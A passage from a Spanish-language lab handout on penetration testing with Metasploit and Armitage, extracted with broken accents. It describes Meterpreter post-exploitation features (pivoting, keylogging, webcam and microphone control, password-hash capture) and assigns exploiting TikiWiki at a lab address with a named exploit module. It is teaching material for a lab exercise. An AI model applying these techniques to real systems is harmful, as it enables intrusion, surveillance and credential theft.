on Explore incluye un navegador de archivos grafico, un visor de procesos y un herramienta de
captura de pantalla (depende del tipo de vctima [no funciona con GNU/linux en modo texto])
En la opci
on Pivoting se pueden configurar los parametros necesarios para que el equipo comprometido
funcione como pivote, act
uando como punto intermedio en el analisis y ataque con Metasploit a otras
m
aquinas accesibles desde dicha vctima.
4. Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)
Con help se muestran los comandos, muchos de ellos son dependientes de la arquitectura y S.O. de la
vctima y no todos estar
an disponibles.

comando load -carga m


odulos de meterpreter con funcionalidades adicionales: load -l)
comando run -ejecuta m
odulos de post explotacion o scripts meterpreter
comandos ipconfig, route, portfwd -control de la configuracion de red de la vctima
otros: control de webcam/micr
ofono, captura de pantalla, keylogger, captura de hashes de contrase
nas
(s
olo en MS Windows), etc
12

3.3.5.

Tarea: explotar la aplicaci


on web TikiWiki

Exploit a emplear: exploit/unix/webapp/tikiwiki_graph_formula_exec


Sobre el hosts 192.168.100.222: [bot
on derecho] -> Attacks -> webapp -> tikiwiki_graph_formula_exec

3.4.

Documentaci
on a entregar

Entrega: Documentar brevemente (1-2 p


aginas) los pasos seguidos para explotar Tomcat en la seccion 3.2.3 y para
explotar las distintas aplicaciones de la secci
on 3.3. Detallar las vulnerabilidades concretas empleadas en cada caso,
junto con los resultados obtenidos.

13

S-ar putea să vă placă și